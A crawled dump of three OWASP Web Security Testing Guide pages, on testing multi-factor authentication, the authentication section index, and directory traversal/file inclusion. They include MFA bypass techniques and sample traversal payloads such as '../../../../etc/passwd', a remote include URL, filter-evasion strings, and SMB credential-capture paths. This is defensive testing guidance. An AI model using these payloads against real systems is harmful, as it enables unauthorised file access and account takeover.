"wb_ts": "", "stazeno": "2026-09-14 12:52:30", "sha256": "ceddd87fcb5ff8c84818269714f7ec4aadbfa231dc880db6e31bcb16207dc068", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/11-Multi-Factor_Authentication", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/11-Multi-Factor_Authentication", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/11-Multi-Factor_Authentication", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "04-Authentication"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Multi-Factor Authentication (MFA)"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Types of MFA"}, {"uroven": 3, "text": "Check for MFA Bypasses"}, {"uroven": 3, "text": "Check MFA Management"}, {"uroven": 3, "text": "Check MFA Recovery Options"}, {"uroven": 4, "text": "Recovery Codes"}, {"uroven": 4, "text": "MFA Reset Process"}, {"uroven": 4, "text": "Alternative Authentication"}, {"uroven": 3, "text": "One-Time Passwords"}, {"uroven": 4, "text": "HOTP and TOTP"}, {"uroven": 4, "text": "Email, SMS, and Phone"}, {"uroven": 3, "text": "Mobile Apps and Push Notifications"}, {"uroven": 3, "text": "IP Address and Location Filtering"}, {"uroven": 3, "text": "Certificates and Smartcards"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Multi-Factor Authentication (MFA)\n\n| ID |\n| --- |\n| WSTG-ATHN-11 |\n\n## Summary\n\nMany applications implement Multi-Factor Authentication (MFA) as an additional layer of security to protect the login process. This is also known as two-factor authentication (2FA) or two-step verification (2SV) - although these are not strictly the same thing. MFA means asking the user to provide *at least* two different authentication factors when logging in.\n\nMFA adds additional complexity to both the authentication functionality, and also to other security-related areas (such as credential management and password recovery), meaning that it is critical for it to be implemented in a correct and robust manner.\n\n## Test Objectives\n\n- Identify the type of MFA used by the application.\n- Determine whether the MFA implementation is robust and secure.\n- Attempt to bypass the MFA.\n\n## How to Test\n\n### Types of MFA\n\nMFA means that *at least* two of the following factors are required to authentication:\n\n| Factor | Examples |\n| --- | --- |\n| Something You Know | Passwords, PINs and security questions. |\n| Something You Have | Hardware or software tokens, certificates, email*, SMS, and phone calls. |\n| Something You Are | Fingerprints, facial recognition, iris scans, handprint scans and behavioural factors. |\n| Location | Source IP ranges, and geolocation. |\n\n* Email only really constitutes “something you have” if the email account itself is protected with MFA. As such, it should be considered weaker than other alternatives such as certificates or TOTP, and may not be accepted as MFA under some definitions.\n\nIt’s worth noting that requiring multiple examples of a single factor (such as needing both a password and a PIN) **does not constitute MFA**, although it may provide some security benefits over a simple password, and may be considered two-step verification (2SV).\n\nDue to the complexity of implementing biometrics in a browser-based environment, “Something You Are” is rarely used for web applications, although it is starting to be adopted using standards such as WebAuthn. The most common second factor is “Something You Have”.\n\n### Check for MFA Bypasses\n\nThe first step for testing MFA is to identify all of the authentication functionality in the application, which may include:\n\n- The main login page.\n- Security critical functionality (such as disabling MFA or changing a password).\n- Federated login providers.\n- API endpoints (from both the main web interface and mobile apps).\n- Alternative (non-HTTP) protocols.\n- Test or debug functionality.\n\nAll of the different login methods should be reviewed, to ensure that MFA is enforced consistently. If some methods do not require MFA, then these can provide a simple method to bypass them.\n\nIf the authentication is done in multiple steps then it may be possible to bypass it by completing the first step of the authentication process (entering the username and password), and then force-browsing to the application or making direct API requests without completing the second stage (entering the MFA code).\n\nIf the authentication is using a OpenID Connect (OIDC) provider that allows custom authentication flows (or policies) such as Azure B2C, there may be multiple flows defined, some of which may not require MFA. For example if the application authenticates with a flow called `B2C_1_SignInWithMFA`, then try tampering that to `B2C_1_SignIn`, `B2C_1_SignInWithoutMFA` or other similar values.\n\nIn some cases, there may also be intentional MFA bypasses implemented, such as not requiring MFA:\n\n- From specific IP addresses (which may be spoofable using the `X-Forwarded-For` HTTP header).\n- When a specific HTTP header is set (such as a non-standard header like `X-Debug` ).\n- For a specific hard-coded account (such as a “root” or “breakglass” account).\n\nWhere an application supports both local and federated logins, it may be possible to bypass the MFA if there is no strong separation between these two types of accounts. For example, if a user registers a local account and configures MFA for it, but does not have MFA configured on their account on the federated login provider, it may be possible for an attacker to re-register (or link) a federated account on the target application with the same email address by compromising the user’s account on the federated login provider.\n\nFinally, if the MFA is implemented on a different system to the main application (such as on a reverse proxy, in order to protect a legacy application that does not natively support MFA), then it may be possible to bypass it by connecting directly to the backend application server, as discussed in the guide on how to [map the application architecture](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/10-Map_Application_Architecture#content-delivery-network-cdn).\n\n### Check MFA Management\n\nThe functionality used to manage MFA from inside the user’s account should be tested for vulnerabilities, including:\n\n- Is the user required to re-authenticate to remove or change MFA settings?\n- Is the MFA management functionality vulnerable to [cross-site request forgery](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/05-Cross_Site_Request_Forgery) ?\n- Can other users’ MFA setting be modified through [IDOR vulnerabilities](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/04-Insecure_Direct_Object_References) ?\n\n### Check MFA Recovery Options\n\nMany applications will provide users with a way to regain access to their account if they are unable to authenticate with their second factor (for example if they have lost their phone). These mechanisms can often represent a significant weakness in the application, as they effectively allow the second authentication factor to be bypassed.\n\n#### Recovery Codes\n\nSome applications will provide the user with a list of recovery or backup codes when they enable MFA, which can be used to login. These should be checked to ensure:\n\n- They are sufficiently long and complex to protect against brute-force attacks.\n- They are securely generated.\n- They can only be used once.\n- Brute-force protection is in place (such as account lockout).\n- The user is notified (via email, SMS, etc) when a code is used.\n\nSee the [“Backup Codes” section in the Forgotten Password Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html#backup-codes) for further details.\n\n#### MFA Reset Process\n\nIf the application implements an MFA reset process, this should be tested in the same way that the [password reset process](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/09-Weak_Password_Change_or_Reset_Functionalities) is tested. It is important that this process is *at least* as strong as the MFA implementation for the application.\n\n#### Alternative Authentication\n\nSome applications will allow the user to prove their identity through other means, such as the use of [security questions](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/08-Weak_Security_Question_Answer). This usually represents a significant weakness, as security questions provide a far lower level of security than MFA.\n\n### One-Time Passwords\n\nThe most common form of MFA is the one of One-Time Passwords (OTPs), which are typically six-digit numeric codes (although they can be longer or shorter). These can either be generated by both the server and the user (for example, with an authenticator app), or can be generated on the server and sent to the user. There are various ways that this OTP can be provided to the user, including:\n\n| Type | Description |\n| --- | --- |\n| HMAC One-Time Password (HOTP) | Generates a code based on the HMAC of a secret and a shared counter. |\n| Time-based One-Time Password (TOTP) | Generates a code based on HMAC of a secret and the current time. |\n| Email | Sends a code via email. |\n| SMS | Sends a code via SMS. |\n| Phone | Sends a code via a voice call to a phone number. |\n\nThe OTP is typically entered after the user has provided their username and password. There are various checks that should be performed, including:\n\n- Is the account locked out after multiple failed MFA attempts?\n- Is the user’s IP address blocked after multiple failed MFA attempts across different accounts?\n- Are failed MFA attempts logged?\n- Is the form vulnerable to injection attacks, including [SQL wildcard injection](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05-SQL_Injection#sql-wildcard-injection) ?\n\nDepending on the type of OTPs used, there are also some other specific checks that should be performed:\n\n- How are OTPs sent to user (email, SMS, phone, etc)\n - Is there rate limiting to prevent SMS/phone spam costing money?\n- How strong are OTPs (length and keyspace)?\n- How long are OTPs valid for?\n- Are multiple OTPs valid at once?\n- Can the OTPs be used more than once?\n- Are the OTPs tied to the correct user account or is it possible to authenticate with them on other accounts?\n\n#### HOTP and TOTP\n\nHOTP and TOTP codes are both based on a secret that is shared between the server and the user. For TOTP codes, this is usually provided to the user in the form of a QR code that they scan with an authenticator app (although it can also be provided as a text secret for them to manually enter).\n\nWhere the secret is generated on the server, it should be checked to ensure that it is sufficiently long and complex ([RFC 4226](https://www.rfc-editor.org/rfc/rfc4226#section-4) recommends at least 160 bits), and that it is generated using a [secure random function](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#secure-random-number-generation).\n\nWhere the secret can be provided by the user, an appropriate minimum length should be enforced, and the input should be checked for the usual injection attacks.\n\nTOTP codes are typically valid for 30 seconds, but some applications choose to accept multiple codes (such as the previous, current, and next codes) in order to deal with differences between the system time on the server and on the user’s device. Some applications may allow multiple codes on either side of the current one, which may make it easier for an attacker to guess or brute-force the code. The table below shows the chance of successfully brute-forcing an OTP code based on an attacker being able to make 10 requests a second, for applications that accept either only the current code, or multiple codes (see [this article](https://www.codasecurity.co.uk/articles/mfa-testing#case-study---brute-forcing-totp) for the calculations behind the table).\n\n| Valid Codes | Success rate after 1 hour | Success rate after 4 hours | Success rate after 12 hours | Success rate after 24 hours |\n| --- | --- | --- | --- | --- |\n| 1 | 4% | 13% | 35% | 58% |\n| 3 | 10% | 35% | 72% | 92% |\n| 5 | 16% | 51% | 88% | 99% |\n| 7 | 22% | 63% | 95% | 99% |\n\n#### Email, SMS, and Phone\n\nWhere codes are generated by the server and sent to the client, the following areas should be considered:\n\n- Is the transport mechanism (email, SMS, or voice) secure enough for the application?\n- Are the codes sufficiently long and complex?\n- Are the codes generated using a [secure random function](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#secure-random-number-generation) ?\n- How long are the codes valid for?\n- Are multiple codes valid at once, or does generating a new code invalidate the previous one?\n - Could this be used to block access to an account by repeatedly requesting codes?\n- Is there sufficient rate-limiting to prevent an attacker requesting large numbers of codes?\n - Large numbers of emailed code may get the server blocked for sending spam.\n - Large numbers of SMS or voice calls may cost money, or be used to harass a user.\n\n### Mobile Apps and Push Notifications\n\nAn alternative approach to OTP codes is to send a push notification to the user’s mobile phone, which they can either approve or deny. This method is less common, as it requires the user to install an application-specific authenticator.\n\nProperly evaluating the security of this requires the scope of testing to be expanded to cover both the mobile app, and any supporting APIs or services used by it; meaning that it would often be outside of the scope of a traditional web application test. However, there are a couple of simple checks that can be performed without testing the mobile app, including:\n\n- Does the notification provide sufficient context (IP addresses, location, etc) for the user to make an informed decision about whether to approve or deny it?\n- Is there any kind of challenge and response mechanism (such as providing a code on the site that the user needs to enter into the app - often called “number matching” or “number challenge”)?\n- Is there any rate limiting or mechanisms to prevent the user from being spammed with notifications in the hope that they will just blindly accept one?\n\n### IP Address and Location Filtering\n\nOne of the factors that is sometimes used with MFA is location (“somewhere you are”), although whether this constitutes a proper authentication factor is debatable. In the context of a web application, this typically means restricting access to specific IP addresses, or not prompting the user for a second factor as long as they are connecting from a specific trusted IP address. A common scenario for this would be to authenticate users with just their password when connecting from the office IP ranges, but requiring an OTP code when they connect from elsewhere.\n\nDepending on the implementation, it may be possible for a user to spoof a trusted IP address by setting the `X-Forwarded-For` header, which could allow them to bypass this check. Also consider that if the application does not correctly sanitize the contents of this header, it may also be possible to carry out attack such as SQL injection here. If the application supports IPv6, then this should also be checked to ensure that appropriate restrictions are applied to those connections.\n\nAdditionally, the trusted IP addresses should be reviewed to ensure that they do not present any weaknesses, such as if they include:\n\n- IP addresses that could be accessible by untrusted users (such as the guest wireless networks in an office).\n- Dynamically assigned IP address that could change.\n- Public network ranges where an attacker could host their own system (such as Azure or AWS).\n\n### Certificates and Smartcards\n\nTransport Layer Security (TLS) is commonly used to encrypt traffic between the client and the server, and to provide a mechanism for the client to confirm the identity of the server (by comparing Common Name (CN) or Subject Alternative Name (SAN) on the certificate to the requested domain). However, it can also provide a mechanism for the server to confirm the identity of the client, known as client certificate authentication or mutual TLS (mTLS). A full discussion of client certificate authentication is outside of the scope of this guide, but the key principle is that the user presents a digital certificate (stored either on their machine or on a smartcard), which is validated by the server.\n\nThe first step when testing is to determine whether the target application restricts the Certificate Authorities (CAs) that are trusted to issue certificates. This information can be obtained using various tools, or by manually examining the TLS handshake. The simplest way is to use OpenSSL’s `s_client`:\n\n```\n$ openssl s_client -connect example:443\n[...]\nAcceptable client certificate CA names\nC = US, ST = Example, L = Example, O = Example Org, CN = Example Org Root Certificate Authority\nClient Certificate Types: RSA sign, DSA sign, ECDSA sign\n```\n\nIf there are no restrictions, then it may be possible to authenticate using a certificate from a different CA. If there are restrictions but they are badly implemented, it may be possible to create a local CA with the correct name (“Example Org Root Certificate Authority” in the example above), and to use this new CA to sign client certificates.\n\nIf a valid certificate can be obtained, then it should also be verified that the certificate can only be used for the user that it is issued for (i.e, that you can’t use a certificate issued to Alice to authenticate on Bob’s account). Additionally, certificates should be checked to ensure that they have neither expired nor been revoked.\n\n- [Weak Lock Out Mechanism](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/03-Weak_Lock_Out_Mechanism)\n- [Weak Password Change or Reset Functionalities](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/09-Weak_Password_Change_or_Reset_Functionalities)\n\n## Remediation\n\nEnsure that:\n\n- MFA is implemented for all relevant accounts and functionality on the applications.\n- The support MFA methods are appropriate for the application.\n- The mechanisms used to implement MFA are appropriately secured and protected against brute-force attacks.\n- There is appropriate auditing and logging for all MFA-related activity.\n\nSee the [OWASP Multi-Factor Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Multifactor_Authentication_Cheat_Sheet.html) for further recommendations.\n\n## References\n\n- [OWASP Multi-Factor Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Multifactor_Authentication_Cheat_Sheet.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 17458, "slov": 2660, "odkazu": 208, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:31", "sha256": "44bd88c5acddc0a9ba145b3860c041378f3514b83d64d50309ea0f9e83ec669a", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html", "https://www.rfc-editor.org/rfc/rfc4226", "https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html", "https://www.codasecurity.co.uk/articles/mfa-testing", "https://cheatsheetseries.owasp.org/cheatsheets/Multifactor_Authentication_Cheat_Sheet.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/README", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "04-Authentication"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "4.4 Authentication"}], "markdown": "# WSTG - Latest\n\n# 4.4 Authentication\n\n4.4.1 [Credentials Transported over an Encrypted Channel](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/01-Credentials_Transported_over_an_Encrypted_Channel)\n\n4.4.2 [Default Credentials](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/02-Default_Credentials)\n\n4.4.3 [Weak Lock Out Mechanism](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/03-Weak_Lock_Out_Mechanism)\n\n4.4.4 [Bypassing Authentication Schema](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/04-Bypassing_Authentication_Schema)\n\n4.4.5 [Vulnerable Remember Password](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/05-Vulnerable_Remember_Password)\n\n4.4.6 [Browser Cache Weaknesses](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/06-Browser_Cache_Weaknesses)\n\n4.4.7 [Weak Authentication Methods](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/07-Weak_Authentication_Methods)\n\n4.4.8 [Weak Security Question Answer](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/08-Weak_Security_Question_Answer)\n\n4.4.9 [Weak Password Change or Reset Functionalities](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/09-Weak_Password_Change_or_Reset_Functionalities)\n\n4.4.10 [Weaker Authentication in Alternative Channel](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/10-Weaker_Authentication_in_Alternative_Channel)\n\n4.4.11 [Multi-Factor Authentication](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/11-Multi-Factor_Authentication)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2071, "slov": 148, "odkazu": 200, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:20", "sha256": "0028391e3e8f5358d23f92a4f8e9d335a44b4b73b6a54a59fb751fd04f72fb01", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/01-Directory_Traversal_File_Include", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/01-Directory_Traversal_File_Include", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/01-Directory_Traversal_File_Include", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "05-Authorization"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Directory Traversal File Include"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Input Vectors Enumeration"}, {"uroven": 4, "text": "Testing Techniques"}, {"uroven": 4, "text": "Windows Specific Considerations"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - Latest\n\n# Directory Traversal File Include\n\n| ID |\n| --- |\n| WSTG-ATHZ-01 |\n\n## Summary\n\nMany web applications use and manage files as part of their daily operation. Using input validation methods that have not been well designed or deployed, an aggressor could exploit the system in order to read or write files that are not intended to be accessible. In particular situations, it could be possible to execute arbitrary code or system commands.\n\nTraditionally, web servers and web applications implement authentication mechanisms to control access to files and resources. Web servers try to confine users’ files inside a “root directory” or “web document root”, which represents a physical directory on the file system. Users have to consider this directory as the base directory into the hierarchical structure of the web application.\n\nThe definition of the privileges is made using Access Control Lists (ACL) which identify which users or groups are supposed to be able to access, modify, or execute a specific file on the server. These mechanisms are designed to prevent malicious users from accessing sensitive files (for example, the common `/etc/passwd` file on a UNIX-like platform) or to avoid the execution of system commands.\n\nMany web applications use server-side scripts to include different kinds of files. It is quite common to use this method to manage images, templates, load static texts, and so on. Unfortunately, these applications expose security vulnerabilities if input parameters (i.e., form parameters, cookie values) are not correctly validated.\n\nIn web servers and web applications, this kind of problem arises in path traversal/file include attacks. By exploiting this kind of vulnerability, an attacker is able to read directories or files which they normally couldn’t read, access data outside the web document root, or include scripts and other kinds of files from external sites.\n\nFor the purpose of the OWASP Testing Guide, only the security threats related to web applications will be considered and not threats to web servers (e.g., the infamous `%5c` escape code into Microsoft IIS web server). Further reading suggestions will be provided in the references section for interested readers.\n\nThis kind of attack is also known as the dot-dot-slash attack (`../`), directory traversal, directory climbing, or backtracking.\n\nDuring an assessment, to discover path traversal and file include flaws, testers need to perform two different stages:\n\n1. Input Vectors Enumeration (a systematic evaluation of each input vector)\n2. Testing Techniques (a methodical evaluation of each attack technique used by an attacker to exploit the vulnerability)\n\n## Test Objectives\n\n- Identify injection points that pertain to path traversal.\n- Assess bypassing techniques and identify the extent of path traversal.\n\n## How to Test\n\n### Black-Box Testing\n\n#### Input Vectors Enumeration\n\nIn order to determine which part of the application is vulnerable to input validation bypassing, the tester needs to enumerate all parts of the application that accept content from the user. This also includes HTTP GET and POST queries and common options like file uploads and HTML forms.\n\nHere are some examples of the checks to be performed at this stage:\n\n- Are there request parameters which could be used for file-related operations?\n- Are there unusual file extensions?\n- Are there interesting variable names?\n - `https://example.com/getUserProfile.jsp?item=ikki.html`\n - `https://example.com/index.php?file=content`\n - `https://example.com/main.cgi?home=index.htm`\n- Is it possible to identify cookies used by the web application for the dynamic generation of pages or templates?\n - `Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:TEMPLATE=flower`\n - `Cookie: USER=1826cc8f:PSTYLE=GreenDotRed`\n\n#### Testing Techniques\n\nThe next stage of testing is analyzing the input validation functions present in the web application. Using the previous example, the dynamic page called `getUserProfile.jsp` loads static information from a file and shows the content to users. An attacker could insert the malicious string `../../../../etc/passwd` to include the password hash file of a Linux/UNIX system. Obviously, this kind of attack is possible only if the validation checkpoint fails; according to the file system privileges, the web application itself must be able to read the file.\n\n> Note: To successfully test for this flaw, the tester needs to have knowledge of the system being tested and the location of the files being requested. There is no point requesting `/etc/passwd` from an IIS web server.\n\n```\nhttps://example.com/getUserProfile.jsp?item=../../../../etc/passwd\n```\n\nAnother common example is including content from an external source:\n\n```\nhttps://example.com/index.php?file=https://www.owasp.org/malicioustxt\n```\n\nThe same can be applied to cookies or any other input vector that is used for dynamic page generation.\n\nMore file inclusion payloads can be found at [PayloadsAllTheThings - File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion)\n\nIt is important to note that different operating systems use different path separators\n\n- Unix-like OS:\n - root directory: `/`\n - directory separator: `/`\n- Windows OS:\n - root directory: `:`\n - directory separator: `\\` or `/`\n- Classic macOS:\n - root directory: `:`\n - directory separator: `:`\n\nIt’s a common mistake by developers to not expect every form of encoding and therefore only do validation for basic encoded content. If at first the test string isn’t successful, try another encoding scheme.\n\nYou can find encoding techniques and ready to use directory traversal payloads at [PayloadsAllTheThings - Directory Traversal](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal)\n\n#### Windows Specific Considerations\n\n- Windows shell: Appending any of the following to paths used in a shell command results in no difference in function:\n - Angle brackets `<` and `>` at the end of the path\n - Double quotes (closed properly) at the end of the path\n - Extraneous current directory markers such as `./` or `.\\\\`\n - Extraneous parent directory markers with arbitrary items that may or may not exist:\n - `file.txt`\n - `file.txt...`\n - `file.txt`\n - `file.txt\"\"\"\"`\n - `file.txt<<<>>><`\n - `./././file.txt`\n - `nonexistant/../file.txt`\n- Windows API: The following items are discarded when used in any shell command or API call where a string is taken as a filename:\n - periods\n - spaces\n- Windows UNC Filepaths: Used to reference files on SMB shares. Sometimes, an application can be made to refer to files on a remote UNC filepath. If so, the Windows SMB server may send stored credentials to the attacker, which can be captured and cracked. These may also be used with a self-referential IP address or domain name to evade filters, or used to access files on SMB shares inaccessible to the attacker, but accessible from the web server.\n - `\\\\server_or_ip\\path\\to\\file.abc`\n - `\\\\?\\server_or_ip\\path\\to\\file.abc`\n- Windows NT Device Namespace: Used to refer to the Windows device namespace. Certain references will allow access to file systems using a different path.\n - May be equivalent to a drive letter such as `c:\\` , or even a drive volume without an assigned letter: `\\\\.\\GLOBALROOT\\Device\\HarddiskVolume1\\`\n - Refers to the first disc drive on the machine: `\\\\.\\CdRom0\\`\n\n### Gray-Box Testing\n\nWhen the analysis is performed with a gray-box testing approach, testers have to follow the same methodology as in black-box testing. However, since they can review the source code, it is possible to search the input vectors more easily and accurately. During a source code review, they can use simple tools (such as the *grep* command) to search for one or more common patterns within the application code: inclusion functions/methods, filesystem operations, and so on.\n\n- `PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ...`\n- `JSP/Servlet: java.io.File(), java.io.FileReader(), ...`\n- `ASP: include file, include virtual, ...`\n\nUsing online code search engines (e.g., [Searchcode](https://searchcode.com/)), it may also be possible to find path traversal flaws in Open Source software published on the internet.\n\nFor PHP, testers can use the following regular expression:\n\n```\n(include|require)(_once)?\\s*['\"(]?\\s*\\$_(GET|POST|COOKIE)\n```\n\nUsing the gray-box testing method, it is possible to discover vulnerabilities that are usually harder to discover, or even impossible to find during a standard black-box assessment.\n\nSome web applications generate dynamic pages using values and parameters stored in a database. It may be possible to insert specially crafted path traversal strings when the application adds data to the database. This kind of security problem is difficult to discover due to the fact the parameters inside the inclusion functions seem internal and **safe** but are not in reality.\n\nAdditionally, by reviewing the source code it is possible to analyze the functions that are supposed to handle invalid input: some developers try to change invalid input to make it valid, avoiding warnings and errors. These functions are usually prone to security flaws.\n\nConsider a web application with these instructions:\n\n```\nfilename = Request.QueryString(\"file\"); Replace(filename, \"/\",\"\\\");\nReplace(filename, \"..\\\",\"\");\n```\n\nTesting for the flaw is achieved by:\n\n```\nfile=....//....//boot.ini\nfile=....\\\\....\\\\boot.ini\nfile= ..\\..\\boot.ini\n```\n\n## Tools\n\n- [DotDotPwn - The Directory Traversal Fuzzer](https://github.com/wireghoul/dotdotpwn)\n- [Path Traversal Fuzz Strings (from WFuzz Tool)](https://github.com/xmendez/wfuzz/blob/master/wordlist/Injections/Traversal.txt)\n- [ZAP](https://www.zaproxy.org/)\n- [Burp Suite](https://portswigger.net)\n- Encoding/Decoding tools\n- [String searcher “grep”](https://www.gnu.org/software/grep/)\n- [DirBuster](https://wiki.owasp.org/index.php/Category:OWASP_DirBuster_Project)\n\n## References\n\n- [PayloadsAllTheThings - Directory Traversal](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal)\n- [PayloadsAllTheThings - File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion)\n\n### Whitepapers\n\n- [phpBB Attachment Mod Directory Traversal HTTP POST Injection](https://seclists.org/vulnwatch/2004/q4/33)\n- [Windows File Pseudonyms: Pwnage and Poetry](https://www.slideshare.net/BaronZor/windows-file-pseudonyms)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 10406, "slov": 1391, "odkazu": 211, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:33", "sha256": 